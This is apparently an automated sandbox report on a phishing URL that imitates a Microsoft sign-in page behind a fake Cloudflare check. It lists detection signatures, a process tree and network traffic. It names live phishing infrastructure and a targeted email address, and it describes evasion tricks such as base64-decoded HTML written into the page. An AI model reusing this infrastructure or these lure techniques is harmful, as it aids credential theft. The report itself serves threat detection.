Edit tour

Windows Analysis Report
https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

Overview

General Information

Sample URL:	https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de
Analysis ID:	1654278
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected HtmlPhish10

Call-Chain indicates evasion measures

HTML root dynamically written

Phishing site or detected (based on various text indicators)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Script element or tag injection

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6960 cmdline: "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --start-maximized "about:blank" MD5: B6CB00FCB81D3B66870817AEBE7163BB)

chrome.exe (PID: 3392 cmdline: "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --no-sandbox --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --start-stack-profiler --mojo-platform-channel-handle=2064 --field-trial-handle=1964,i,5711575836952122047,2672629311710222216,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: B6CB00FCB81D3B66870817AEBE7163BB)

chrome.exe (PID: 736 cmdline: "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" "https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de" MD5: B6CB00FCB81D3B66870817AEBE7163BB)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 1.6.pages.csv, type: HTML
Source: Yara match	File source: 0.5.pages.csv, type: HTML

Call-Chain indicates evasion measures

Source:	JavaScript Tracing: Detected writing of HTML string to DOM by setting the property HTMLSpanElement.innerHTML after method call to atob()
Source: https\://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de	JavaScript Tracing: Detected writing of HTML string to DOM by setting the property HTMLHeadElement.innerHTML after method call to atob()
Source: https\://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de	JavaScript Tracing: Detected writing of HTML string to DOM using call to HTMLDocument.write() after method call to atob()
Source:	JavaScript Tracing: Detected writing of HTML string to DOM by setting the property HTMLDivElement.innerHTML after method call to atob()
Source: https\://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de	JavaScript Tracing: Detected writing of HTML string to DOM by setting the property HTMLBodyElement.innerHTML after method call to atob()

HTML root dynamically written

Source: https\://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

JavaScript Tracing: Argument in call to document.write() contains HTML root: "<!DOCTYPE html>\x0a<html lang="en">\x0a\x0a<head>\x0a <!-- <span>Hamburger venison meatloaf adip..."

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 0.1	OCR Text: Microsoft Browser fortifying online defenses- . Verifying.. CLOUDFLARE Ten-rs Microsoft must validate your connection's security before granting access-
Source: Chrome DOM: 0.3	OCR Text: Microsoft Browser fortifying online defenses- Verifying... CLOUDFLARE Stuck here? Send Feedbsck Ten-rs Microsoft must validate your connection's security before granting access-
Source: Chrome DOM: 0.2	OCR Text: Microsoft Browser fortifying online defenses- Verifying.. CLOUDFLARE Ten-rs Microsoft must validate your connection's security before granting access-

Source: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

HTTP Parser: Number of links: 0

Source: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

HTTP Parser: Invalid link: Privacy statement

Source: https\://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

JavaScript Tracing: HTML-tag "<script>" has been injected into the DOM within a string using HTMLDocument.write("<!DOCTYPE html>\x0a<html lang="en">\x0a\x0a<head>\x0a <!-- <span>Hamburger venison meatloaf adip...");

Source: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

Sample URL: PII: nagal.meegel@VSFroup.de

Source: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

HTTP Parser: <input type="password" .../> found

Source: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de	HTTP Parser: No favicon
Source: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de	HTTP Parser: No favicon
Source: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de	HTTP Parser: No favicon
Source: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de	HTTP Parser: No favicon

Source: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

HTTP Parser: No <meta name="author".. found

Source: https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.72.97:443 -> 192.168.2.17:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.243:443 -> 192.168.2.17:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.17:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.61.3:443 -> 192.168.2.17:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.41.14:443 -> 192.168.2.17:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.17:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.128.240.48:443 -> 192.168.2.17:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.77.220.51:443 -> 192.168.2.17:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.77.220.51:443 -> 192.168.2.17:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.17:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.17:49825 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.41.14
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46

Source: global traffic	HTTP traffic detected: GET /crx/blobs/Ad_brx2zn0VllUfDy3IInsf2x_JT_KYwvCFCBKIccViK8GQrmAxO7uKh27DftB49uvpTV6LoiwfTytfG26LWZ9yEblrh9n2ArDUdsJt1S0eRDzFPHmbtV_p0UKkid0dN6ohjAMZSmuWMxdBIryELE2Jro2LlEMjsJPgraw/EFAIDNBMNNNIBPCAJPCGLCLEFINDMKAJ_25_3_1_1.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /webstore/inlineinstall/detail/efaidnbmnnnibpcajpcglclefindmkaj HTTP/1.1Host: chrome.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"Origin: https://revisedemployeehandbook.journeythroughruins.desec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://revisedemployeehandbook.journeythroughruins.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 5298925908-1317754460.cos.ap-tokyo.myqcloud.comConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://revisedemployeehandbook.journeythroughruins.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v5s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1Host: res.cloudinary.comConnection: keep-alivesec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://revisedemployeehandbook.journeythroughruins.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1Host: res.cloudinary.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
